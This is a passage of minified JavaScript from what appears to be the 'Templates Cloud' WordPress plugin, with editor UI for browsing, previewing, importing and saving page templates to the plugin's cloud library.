t={backgroundImage:`url(${r.template_thumbnail})`};return(0,n.createElement)("div",{key:r.template_id,className:"table-grid"},(0,n.createElement)("div",{style:t,className:o()("grid-preview",{"is-loading":d||!1!==m})},(0,n.createElement)("div",{className:"preview-actions"},(0,n.createElement)(g.Button,{isSecondary:!0,disabled:!1!==m,onClick:k},(0,e.__)("Preview","templates-patterns-collection")),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:"importing"===m,disabled:!1!==m,onClick:v},(0,e.__)("Import","templates-patterns-collection")),i&&(0,n.createElement)("div",{className:"preview-controls"},!r.link&&(0,n.createElement)(g.Button,{label:(0,e.__)("Edit","templates-patterns-collection"),icon:"updating"===m?q:le,disabled:d||!1!==m,className:o()({"is-loading":"updating"===m}),onClick:()=>h(!d)},d&&(0,n.createElement)(g.Popover,{onFocusOutside:()=>h(!d),className:"controls-popover",inline:!0},(0,n.createElement)("div",{className:"popover-content"},(0,n.createElement)(g.TextControl,{label:(0,e.__)("Template Name","templates-patterns-collection"),value:w,onChange:b}),(0,n.createElement)(g.Button,{label:(0,e.__)("Update","templates-patterns-collection"),icon:"updating"===m?q:se,disabled:!1!==m,className:o()({"is-loading":"updating"===m}),onClick:f})))),(0,n.createElement)(g.Button,{label:(0,e.__)("Delete","templates-patterns-collection"),icon:"deleting"===m?q:ne,disabled:!1!==m,className:o()({"is-loading":"deleting"===m}),onClick:S})))),(0,n.createElement)("div",{className:"card-footer"},(0,n.createElement)("p",null,r.template_name),"fse"===r.template_type&&(0,n.createElement)("div",{className:"type-label"},"FSE")))}const T=o()("actions",{"no-controls":!i});return(0,n.createElement)("div",{key:r.template_id,className:"table-row"},(0,n.createElement)("div",{className:"row-title"},(0,n.createElement)(g.Icon,{icon:ie}),d?(0,n.createElement)(g.TextControl,{label:(0,e.__)("Template Name","templates-patterns-collection"),hideLabelFromVision:!0,value:w,onChange:b}):r.template_name),"fse"===r.template_type&&(0,n.createElement)("div",{className:"row-type"},(0,n.createElement)("div",{className:"type-label"},"FSE")),i&&(0,n.createElement)("div",{className:"row-controls"},r.link?(0,n.createElement)(g.Tooltip,{text:(0,e.__)("This template is synced to a page.","templates-patterns-collection")},(0,n.createElement)(g.Button,{label:(0,e.__)("Edit","templates-patterns-collection"),icon:le,disabled:!0},(0,e.__)("Edit","templates-patterns-collection"))):(0,n.createElement)(g.Button,{label:d?(0,e.__)("Update","templates-patterns-collection"):(0,e.__)("Edit","templates-patterns-collection"),icon:d?"updating"===m?q:se:le,disabled:!1!==m,className:o()({"is-loading":"updating"===m}),onClick:d?f:()=>h(!d)},d?(0,e.__)("Update","templates-patterns-collection"):(0,e.__)("Edit","templates-patterns-collection")),(0,n.createElement)(g.Button,{label:(0,e.__)("Delete","templates-patterns-collection"),icon:"deleting"===m?q:ne,disabled:!1!==m,className:o()({"is-loading":"deleting"===m}),onClick:S},"deleting"===m?(0,e.__)("Deleting","templates-patterns-collection")+"...":(0,e.__)("Delete","templates-patterns-collection"))),(0,n.createElement)("div",{className:T},(0,n.createElement)(g.Button,{isSecondary:!0,disabled:!1!==m,onClick:k},(0,e.__)("Preview","templates-patterns-collection")),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:"importing"===m,disabled:!1!==m,onClick:v},(0,e.__)("Import","templates-patterns-collection"))))},ce=({total:e,current:t,onChange:a})=>{if(e<2)return null;const r=[];for(let l=0;l<e;l++){const e=l===t;r.push((0,n.createElement)(g.Button,{key:`page-${l}`,isPrimary:e,disabled:e,onClick:()=>a(l)},l+1))}return(0,n.createElement)(g.ButtonGroup,{className:"pagination"},r)},pe=(0,l.withSelect)(((e,{isGeneral:t})=>{const a=t?e("tpc/block-editor").getTemplates():e("tpc/block-editor").getLibrary(),{items:r=[],currentPage:l,totalPages:s}=a;return{items:r,currentPage:l,totalPages:s}}))((({importBlocks:t,isGeneral:a=!1,isFetching:r,items:s,currentPage:i,totalPages:c,getOrder:p,setQuery:m,getSearchQuery:u,setSorting:d})=>{const{setFetching:_}=(0,l.useDispatch)("tpc/block-editor"),[h,w]=(0,y.useState)("grid"),[E,b]=(0,y.useState)(!!tiTpc.isFSETheme&&"true"===window?.localStorage?.tpcShowFse),[v,f]=(0,y.useState)({templates:!1,library:!1}),S=()=>a?v.templates:v.library;(0,y.useEffect)((()=>{s&&s.length>0||(async()=>{_(!0);const e=p();a?await L({search:u(),showFSE:E,...e}):await D({search:u(),showFSE:E,...e}),_(!1)})()}),[a]);const k=async(e=u())=>{var t;_(!0),t=!!e,f(a?{...v,templates:t}:{...v,library:t});const r=p();a?await L({search:e,...r}):await D({search:e,...r}),_(!1)},T=async()=>{_(!0);const e=!E;b(e),window.localStorage.setItem("tpcShowFse",e.toString());const t=p(),r=u();a?await L({search:r,...t,showFSE:e}):await D({search:r,...t,showFSE:e}),_(!1)},P=async e=>{_(!0),a?await L({...e,search:u()}):await D({...e,search:u()}),_(!1)};if(r)return(0,n.createElement)(y.Fragment,null,(0,n.createElement)(re,{showFSE:E,onFSEChange:T,layout:h,sortingOrder:p(),setLayout:w,isSearch:S(),searchQuery:u(),onSearch:k,setSearchQuery:m,setSortingOrder:d,changeOrder:P}),(0,n.createElement)(g.Placeholder,null,(0,n.createElement)(g.Spinner,null)));if(!Boolean(s.length))return(0,n.createElement)("div",{className:"table-content"},(0,n.createElement)(re,{showFSE:E,onFSEChange:T,layout:h,sortingOrder:p(),setLayout:w,isSearch:S(),searchQuery:u(),onSearch:k,setSearchQuery:m,setSortingOrder:d,changeOrder:P}),(0,e.__)("No templates available. Add a new one?","templates-patterns-collection"));const C=o()("table-content",{"is-grid":"grid"===h});return(0,n.createElement)(y.Fragment,null,(0,n.createElement)(re,{showFSE:E,onFSEChange:T,layout:h,sortingOrder:p(),setLayout:w,isSearch:S(),searchQuery:u(),onSearch:k,setSearchQuery:m,setSortingOrder:d,changeOrder:P}),(0,n.createElement)("div",{className:C},s.map((e=>(0,n.createElement)(oe,{sortingOrder:p(),deletable:!a,key:e.template_id,layout:h,item:e,importBlocks:t})))),(0,n.createElement)(ce,{onChange:async e=>{_(!0);const t=p();a?await L({search:u(),page:e,...t}):await D({search:u(),page:e,...t}),_(!1)},current:i,total:c}))})),me=(0,l.withSelect)((e=>{const{isPreview:t,isFetching:a,getCurrentTab:r}=e("tpc/block-editor");return{isPreview:t(),isFetching:a(),currentTab:r()}}))((({importBlocks:t,getOrder:a,setQuery:r,getSearchQuery:l,setSorting:s,isPreview:i,currentTab:o,isFetching:c})=>i&&"library"===o?(0,n.createElement)(Y,{isFetching:c,importBlocks:t}):(0,n.createElement)("div",{className:"tpc-modal-content"},(0,n.createElement)(j,null),["templates","library"].includes(o)&&(0,n.createElement)(pe,{isFetching:c,isGeneral:"templates"===o,importBlocks:t,getOrder:a,setQuery:r,getSearchQuery:l,setSorting:s}),"patterns"===o&&(0,e.__)("We are still working on this. Please check back later. Thank you!","templates-patterns-collection")))),ue=({title:t,leftButtons:a,rightButtons:r,heading:l,previewUrl:s})=>{const i=(0,E.stringifyUrl)({url:s,query:{tpcpreview:"yes"}}),o=t||(0,e.__)("Preview","templates-patterns-collection");return(0,n.createElement)("div",{className:"ob-preview single-templates"},(0,n.createElement)("div",{className:"preview"},(0,n.createElement)("iframe",{title:o,src:i,frameBorder:"0"}),(0,n.createElement)("div",{className:"loading"},(0,n.createElement)(g.Dashicon,{icon:"update",size:50}))),(0,n.createElement)("div",{className:"bottom-bar"},a&&(0,n.createElement)("div",{className:"navigator"},a),l&&(0,n.createElement)("h2",{className:"heading"},l),r&&(0,n.createElement)("div",{className:"actions"},r)))},de=({clientId:t,autoLoad:a=!0,isFse:s=!1,modalOpen:i,setModalOpen:o})=>{const{isPreview:c,currentTab:p,previewData:m}=(0,l.useSelect)((e=>({isPreview:e("tpc/block-editor").isPreview(),currentTab:e("tpc/block-editor").getCurrentTab(),previewData:e("tpc/block-editor").getPreview()}))),{removeBlock:u,replaceBlocks:d,insertBlocks:_,resetBlocks:h}=(0,l.useDispatch)("core/block-editor"),{togglePreview:w}=(0,l.useDispatch)("tpc/block-editor"),E=()=>w(!1),{type:b}=(0,l.useSelect)((e=>({type:e("core/editor").getEditedPostAttribute("type")}))),{createErrorNotice:v}=(0,l.useDispatch)("core/notices"),{editPost:f}=(0,l.useDispatch)("core/editor"),{updateLibrary:S,updateTemplates:k}=(0,l.useDispatch)("tpc/block-editor"),[T,P]=(0,y.useState)(!1),[C,N]=(0,y.useState)({templates:"",library:""}),[B,F]=(0,y.useState)({templates:{order:"DESC",orderby:"date"},library:{order:"DESC",orderby:"date"}}),O="templates"===p,x=()=>O?C.templates:C.library,L=()=>O?B.templates:B.library,D=(e,a=[],l="")=>{S([]),k([]);const{allowed_post:s}=window.tiTpc;if(0<Object.keys((e=>{try{const t=JSON.parse(e);if(t&&"object"==typeof t)return t}catch(e){}return!1})(a)||{}).length&&s.includes(b)){const e=JSON.parse(a),{_wp_page_template:t,...r}=e,l={...r};f({meta:l}),"page"===b&&e._wp_page_template&&f({template:e._wp_page_template})}t?d(t,(0,r.parse)(e)):"fse"===l?h((0,r.parse)(e)):_((0,r.parse)(e)),R()},I=async()=>{P(!0),await U(m.template_id).then((a=>{if(a.__file&&a.content&&"wp_export"===a.__file)return E(),P(!1),D(a.content,m.meta||[],m.template_type),!1;v((0,e.__)("Something went wrong while importing. Please try again.","templates-patterns-collection"),{type:"snackbar"}),P(!1),u(t)}))},R=()=>{o(!1),P(!1),s||u(t)};return(0,y.useEffect)((()=>{a&&setTimeout((()=>{o(!0)}),100)}),[]),i?(0,n.createElement)(n.Fragment,null,(0,n.createElement)(g.Modal,{onRequestClose:R,shouldCloseOnEsc:!1,shouldCloseOnClickOutside:!c||"templates"!==p,isDismissible:!1,overlayClassName:"tpc-template-cloud-modal"},(0,n.createElement)(J,{closeModal:R,getOrder:L,getSearchQuery:x}),(0,n.createElement)(me,{importBlocks:D,getOrder:L,setQuery:e=>N(O?{...C,templates:e}:{...C,library:e}),getSearchQuery:x,setSorting:e=>F(O?{...B,templates:e}:{...B,library:e})}),(0,n.createElement)((()=>{if(!c||"templates"!==p)return null;const{link:t,template_name:a}=m;return(0,n.createElement)(g.Modal,{isDismissible:!1,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,className:"tpc-preview-wrap-modal"},(0,n.createElement)(ue,{previewUrl:t,heading:a,leftButtons:(0,n.createElement)(n.Fragment,null,(0,n.createElement)(g.Button,{disabled:T,icon:$,onClick:E})),rightButtons:(0,n.createElement)(g.Button,{disabled:T,isPrimary:!0,onClick:I},T?(0,e.__)("Importing","templates-patterns-collection")+"...":(0,e.__)("Import","templates-patterns-collection"))}),";")}),null))):null},_e=()=>{const[t,a]=(0,y.useState)(!1);return(0,n.createElement)(n.Fragment,null,(0,n.createElement)(g.Button,{icon:m,isPrimary:!0,onClick:()=>a(!0),style:{backgroundColor:"#000",margin:"0 10px"}},(0,e.__)("Templates Cloud","templates-patterns-collection")),(0,n.createElement)(de,{autoLoad:!1,modalOpen:t,setModalOpen:a}))};tiTpc.isSiteEditor||((0,r.registerBlockType)("ti-tpc/templates-cloud",{title:(0,e.__)("Templates Cloud","templates-patterns-collection"),description:(0,e.__)("A cloud based templates library which enables you to create ready-made website in no time.","templates-patterns-collection"),icon:m,category:"design",keywords:["templates cloud","patterns","template library"],supports:{html:!1},edit:({clientId:e,autoLoad:t=!0})=>{const[a,r]=(0,y.useState)(!1);return(0,n.createElement)(n.Fragment,null,(0,n.createElement)(de,{clientId:e,autoLoad:t,modalOpen:a,setModalOpen:r}))},save:()=>null}),(0,t.registerPlugin)("ti-tpc-templates-button",{render:()=>{const e=(0,y.useRef)(null),t=(0,y.useRef)(null),{isEditedPostSaveable:a,isViewable:r}=(0,l.useSelect)((e=>({isEditedPostSaveable:e("core/editor").isEditedPostSaveable(),isViewable:e("core").getPostType(e("core/editor").getEditedPostAttribute("type"))?.viewable})),[]);return(0,y.useLayoutEffect)((()=>(t.current=document.querySelector(".edit-post-header__center"),t.current&&(e.current||(e.current=document.createElement("div"),e.current.className="ti-tpc-templates-button-wrapper"),t.current.appendChild(e.current)),()=>{t.current&&e.current&&(t.current.removeChild(e.current),t.current=null)})),[a,r]),e.current?(0,y.createPortal)((0,n.createElement)(_e,null),e.current):null}})),(0,t.registerPlugin)("ti-tpc",{render:tiTpc.isSiteEditor?()=>{const{settingId:t,postType:a}=(0,l.useSelect)((e=>({settingId:e("core/edit-site").getEditedPostId(),postType:e("core/edit-site").getEditedPostType()}))),{getEntityRecord:r}=wp.data.select(A.store),s=r("postType",a,t),[i,o]=(0,y.useState)(!1),[c,p]=(0,y.useState)(""),[u,d]=(0,y.useState)(!1),[w,b]=(0,y.useState)({}),{createErrorNotice:v,createSuccessNotice:f}=(0,l.useDispatch)("core/notices"),[S,k]=(0,y.useState)(!1),[T,C]=(0,y.useState)(!1),{canPredefine:N}=window.tiTpc,B=async()=>{d(!0);const e=(()=>{const{getCurrentTemplateTemplateParts:e}=wp.data.select("core/edit-site");let t=wp.blocks.serialize(wp.data.select("core/editor").getBlocks());return e().forEach((e=>{const a=wp.blocks.serialize(e.block),r=e.templatePart.content.raw;t=t.replace(a,r)})),{...s,content:{...s.content,raw:t}}})(),t={__file:"wp_export",version:2,content:e?.content?.raw||""},a=F();try{const e=await _()({url:a,method:"POST",data:t,parse:!1});if(!e.ok)return;const r=await e.json();if(O(r))return;x(r)}catch(e){D(e)}o(!1),d(!1)},F=()=>{const{meta:t,...a}=tiTpc.params;return w?._ti_tpc_template_id?(0,E.stringifyUrl)({url:window.tiTpc.endpoint+"templates/"+w?._ti_tpc_template_id,query:{...a,meta:JSON.stringify(w),template_name:c||s?.title?.raw||(0,e.__)("FSE Template","templates-patterns-collection")}}):(0,E.stringifyUrl)({url:window.tiTpc.endpoint+"templates",query:{...a,meta:JSON.stringify(w),template_name:c||s?.title?.raw||(0,e.__)("FSE Template","templates-patterns-collection"),template_type:"fse",template_site_slug:w?._ti_tpc_site_slug||"",template_thumbnail:w?._ti_tpc_screenshot_url||""}})},O=t=>{switch(t.code){case"rest_invalid_param":return v((0,e.__)("Could not save template, check that the template is not empty.","templates-patterns-collection"),{type:"snackbar"}),!0;case"rest_forbidden":return v((0,e.__)("You are not allowed to save templates.","templates-patterns-collection"),{type:"snackbar"}),!0;case"rest_template_invalid_id":return v((0,e.__)("Could not save template, invalid template ID.","templates-patterns-collection")),!0;default:return!1}},x=a=>{window.localStorage.setItem("tpcCacheBuster",P()),f((0,e.__)("Template saved.","templates-patterns-collection"),{type:"snackbar"});let r={...w};a.template_id&&(r={_ti_tpc_template_id:a.template_id,...w}),b(r),L(t,r)},L=(e,t)=>{const a=new(z().models.Settings);a.fetch().then((r=>{const l={...r.templates_patterns_collection_fse_templates,[e]:t};a.save({templates_patterns_collection_fse_templates:l})}))},D=t=>{const a=t.message||(0,e.__)("Could not save template, check that the template is not empty.","templates-patterns-collection");v(a,{type:"snackbar"})},I=(0,l.useSelect)((e=>{const{__experimentalGetDirtyEntityRecords:t,isSavingEntityRecord:a}=e(A.store);return t().some((e=>a(e.kind,e.name,e.key)))}));return(0,y.useEffect)((()=>{t&&(new(z().models.Settings)).fetch().then((e=>{const a=e?.templates_patterns_collection_fse_templates[t]||{};b(a)}))}),[t]),(0,y.useEffect)((()=>{S&&!I&&w._ti_tpc_template_sync&&B(),k(I)}),[I,w,S]),(0,n.createElement)(y.Fragment,null,(0,n.createElement)(h.PluginSidebarMoreMenuItem,{icon:(0,n.createElement)(g.Icon,{icon:m}),target:"ti-tpc"},(0,e.__)("Templates Cloud","templates-patterns-collection")),(0,n.createElement)(h.PluginSidebar,{name:"ti-tpc",title:(0,e.__)("Templates Cloud","templates-patterns-collection"),className:"ti-tpc-components-panel"},(0,n.createElement)(g.PanelBody,null,(0,e.__)("Save this page as a template in your Templates Cloud library.","templates-patterns-collection"),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:u,disabled:u,onClick:async()=>{w?._ti_tpc_template_id?await B():o(!0)}},(0,e.__)("Save Page to Templates Cloud","templates-patterns-collection")),(0,n.createElement)(g.ToggleControl,{label:(0,e.__)("Automatically sync to the cloud","templates-patterns-collection"),checked:w._ti_tpc_template_sync||!1,onChange:()=>b({...w,_ti_tpc_template_sync:!w._ti_tpc_template_sync||!1})})),(0,n.createElement)(g.PanelBody,null,(0,e.__)("Import a template from your Templates Cloud library.","templates-patterns-collection"),(0,n.createElement)(g.Button,{isPrimary:!0,onClick:()=>C(!0)},(0,e.__)("Import from Templates Cloud","templates-patterns-collection"))),N&&(0,n.createElement)(H,{templateData:w,setTemplateData:b,canPredefine:N,setLoading:d,createErrorNotice:v,createSuccessNotice:f,isLoading:u,saveMeta:e=>{L(t,e)}})),i&&(0,n.createElement)(g.Modal,{title:(0,e.__)("Save Template","templates-patterns-collection"),onRequestClose:()=>o(!1)},(0,n.createElement)(g.TextControl,{label:(0,e.__)("Template Name","templates-patterns-collection"),value:c||s?.title?.raw||"",onChange:p}),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:u,disabled:u,onClick:B},(0,e.__)("Save","templates-patterns-collection"))),(0,n.createElement)(de,{isFse:!0,autoLoad:!1,modalOpen:T,setModalOpen:C}))}:()=>{const[t,a]=(0,y.useState)(!1),[s,i]=(0,y.useState)(!1),[c,p]=(0,y.useState)(""),{canPredefine:u}=window.tiTpc,{createErrorNotice:d,createSuccessNotice:w}=(0,l.useDispatch)("core/notices"),{editPost:b}=(0,l.useDispatch)("core/editor"),v=(0,l.useSelect)((e=>{const{getSelectedBlockCount:t,getSelectedBlock:a,getMultiSelectedBlocks:l}=e("core/block-editor"),s=1===t()?a():l();return(0,r.serialize)(s)}),[]),f=(0,l.useSelect)((e=>{const{getBlocks:t}=e("core/block-editor"),a=t();return(0,r.serialize)(a)}),[]),S=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t}=e("core/editor");return t("meta")}),[]),k=(0,l.useSelect)((e=>{const{getEditedPostAttribute:t}=e("core/editor");return t("template")}),[]);(0,y.useEffect)((()=>{const e=window.tiTpc.metaKeys;window.tiTpc.params.meta=Object.fromEntries(Object.entries(S||{}).filter((([t])=>e.includes(t)))),k?window.tiTpc.params.meta._wp_page_template=k:""===k&&window.tiTpc.params.meta._wp_page_template&&delete window.tiTpc.params.meta._wp_page_template}),[S,k]);const{meta:T,postTitle:C,postId:N,type:B,link:F,meta:{_ti_tpc_template_sync:O,_ti_tpc_template_id:x,_ti_tpc_screenshot_url:L,_ti_tpc_site_slug:D,_ti_tpc_published:U}}=(0,l.useSelect)((t=>({meta:t("core/editor").getEditedPostAttribute("meta")||{},postId:t("core/editor").getEditedPostAttribute("id"),type:t("core/editor").getEditedPostAttribute("type"),link:t("core/editor").getEditedPostAttribute("link"),postTitle:t("core/editor").getEditedPostAttribute("title")||(0,e.__)("Template","templates-patterns-collection")}))),R=(0,l.useSelect)(((e,{forceIsSaving:t})=>{const{isSavingPost:a,isPublishingPost:r,isAutosavingPost:l}=e("core/editor"),s=t||a(),n=l();return(r()||s)&&!n})),[A,V]=(0,y.useState)(O),[z,H]=(0,y.useState)(x),[G,$]=(0,y.useState)(D),[q,Q]=(0,y.useState)(U),[J,W]=(0,y.useState)(L);(0,y.useEffect)((()=>{b({meta:{...T,_ti_tpc_template_sync:A,_ti_tpc_template_id:z,_ti_tpc_screenshot_url:J,_ti_tpc_site_slug:G,_ti_tpc_published:q}})}),[A,z,J,G,q]),(0,y.useEffect)((()=>{R&&A&&Z()}),[R,A]);const Z=async()=>{i(!0);const t={__file:"wp_export",version:2,content:f};let a,r=!1;if(z&&(r=await I(z)),!1!==r&&"gutenberg"!==r.template_type)return;let{meta:l,...s}=window.tiTpc.params;"neve_custom_layouts"===B&&(l={...tiTpc.params.meta,postType:B}),a=r?(0,E.stringifyUrl)({url:window.tiTpc.endpoint+"templates/"+z,query:{...s,meta:JSON.stringify(l),template_name:C,link:F}}):(0,E.stringifyUrl)({url:window.tiTpc.endpoint+"templates",query:{...s,meta:JSON.stringify(l),template_name:C,template_type:"gutenberg",template_site_slug:D||"",template_thumbnail:L||"",link:F}});try{const r=await _()({url:a,method:"POST",data:t,parse:!1});if(r.ok){const t=await r.json();if(t.message){let a=t.message;"Sorry, you are not allowed to do that."===a&&(a=(0,e.__)("Could not save template, check that the template is not empty.","templates-patterns-collection")),d(a,{type:"snackbar"})}else window.localStorage.setItem("tpcCacheBuster",P()),w((0,e.__)("Template saved.","templates-patterns-collection"),{type:"snackbar"}),t.template_id?(H(t.template_id),Y(t.template_id)):Y()}}catch(e){e.message&&d(e.message,{type:"snackbar"})}i(!1)},Y=(e=z,t=!0)=>{let a=null;if("post"===B?a=new wp.api.models.Post({id:N}):"page"===B?a=new wp.api.models.Page({id:N}):"neve_custom_layouts"===B&&(a=new wp.api.models.Neve_custom_layouts({id:N})),a)return a.set("meta",{_ti_tpc_template_id:e,_ti_tpc_template_sync:A,_ti_tpc_screenshot_url:J,_ti_tpc_site_slug:G,_ti_tpc_published:t?!q:q}),a.save()},{allowed_post:K}=window.tiTpc;return K.includes(B)?(0,n.createElement)(y.Fragment,null,(0,n.createElement)(h.PluginBlockSettingsMenuItem,{label:(0,e.__)("Save to Templates Cloud","templates-patterns-collection"),icon:"none",onClick:()=>a(!0)}),(0,n.createElement)(h.PluginSidebarMoreMenuItem,{icon:(0,n.createElement)(g.Icon,{icon:m}),target:"ti-tpc"},(0,e.__)("Templates Cloud","templates-patterns-collection")),(0,n.createElement)(h.PluginSidebar,{name:"ti-tpc",title:(0,e.__)("Templates Cloud","templates-patterns-collection"),className:"ti-tpc-components-panel"},(0,n.createElement)(g.PanelBody,null,(0,e.__)("Save this page as a template in your Templates Cloud library.","templates-patterns-collection"),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:s,disabled:s,onClick:Z},(0,e.__)("Save Page to Templates Cloud","templates-patterns-collection")),(0,n.createElement)(g.ToggleControl,{label:(0,e.__)("Automatically sync to the cloud","templates-patterns-collection"),checked:A,onChange:()=>V(!A)})),u&&(0,n.createElement)(g.PanelBody,null,(0,n.createElement)("h4",null,(0,e.__)("Publish Settings","templates-patterns-collection")),(0,n.createElement)(g.TextControl,{label:(0,e.__)("Screenshot URL","templates-patterns-collection"),value:J,help:(0,e.__)("Use `{generate_ss}` to publish this and have a screenshot automatically generated. Otherwise use the url to point to an image location for the template preview.","templates-patterns-collection"),type:"url",onChange:W}),(0,n.createElement)(g.TextControl,{label:(0,e.__)("Site Slug","templates-patterns-collection"),value:G,help:(0,e.__)("Use `general` to publish this as a global template. Otherwise use the starter site slug to make it available as a single page for the starter site.","templates-patterns-collection"),type:"url",onChange:$}),(0,n.createElement)(M,{canPredefine:u,setLoading:i,templateData:{...T,link:F},setScreenshotURL:W,setPublished:Q,saveMeta:Y,creteErrorNotice:d,createSuccessNotice:w,published:q,isLoading:s}),q&&(0,n.createElement)(g.Button,{isLink:!0,icon:"image-rotate",onClick:async()=>{i("publishing");try{await I(x).then((t=>{x===t.template_id&&(W(t.template_thumbnail),Y(z,!1),w((0,e.__)("Template Data Refreshed.","templates-patterns-collection"),{type:"snackbar"}))}))}catch(t){d((0,e.__)("Something happened when refreshing the template data.","templates-patterns-collection"))}i(!1)},disabled:!1!==s,className:o()({"is-loading":"publishing"===s}),style:{marginLeft:"12px",textDecoration:"none"}},(0,e.__)("Refresh","templates-patterns-collection")),(0,n.createElement)(j,null))),t&&(0,n.createElement)(g.Modal,{title:(0,e.__)("Save Template","templates-patterns-collection"),onRequestClose:()=>a(!1)},(0,n.createElement)(g.TextControl,{label:(0,e.__)("Template Name","templates-patterns-collection"),value:c,onChange:p}),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:s,disabled:s,onClick:async()=>{i(!0);const t={__file:"wp_export",version:2,content:v},{meta:r,...l}=window.tiTpc.params,s=(0,E.stringifyUrl)({url:window.tiTpc.endpoint+"templates",query:{...l,template_name:c,template_type:"gutenberg"}});try{const a=await _()({url:s,method:"POST",data:t,parse:!1});if(a.ok){const t=await a.json();if(t.message){let a=t.message;"Sorry, you are not allowed to do that."===a&&(a=(0,e.__)("Could not save template, check that the template is not empty.","templates-patterns-collection")),d(a,{type:"snackbar"})}else window.localStorage.setItem("tpcCacheBuster",P()),w((0,e.__)("Template saved.","templates-patterns-collection"),{type:"snackbar"})}}catch(e){e.message&&d(e.message,{type:"snackbar"})}i(!1),a(!1),p("")}},(0,e.__)("Save","templates-patterns-collection")))):null},icon:m})})()})();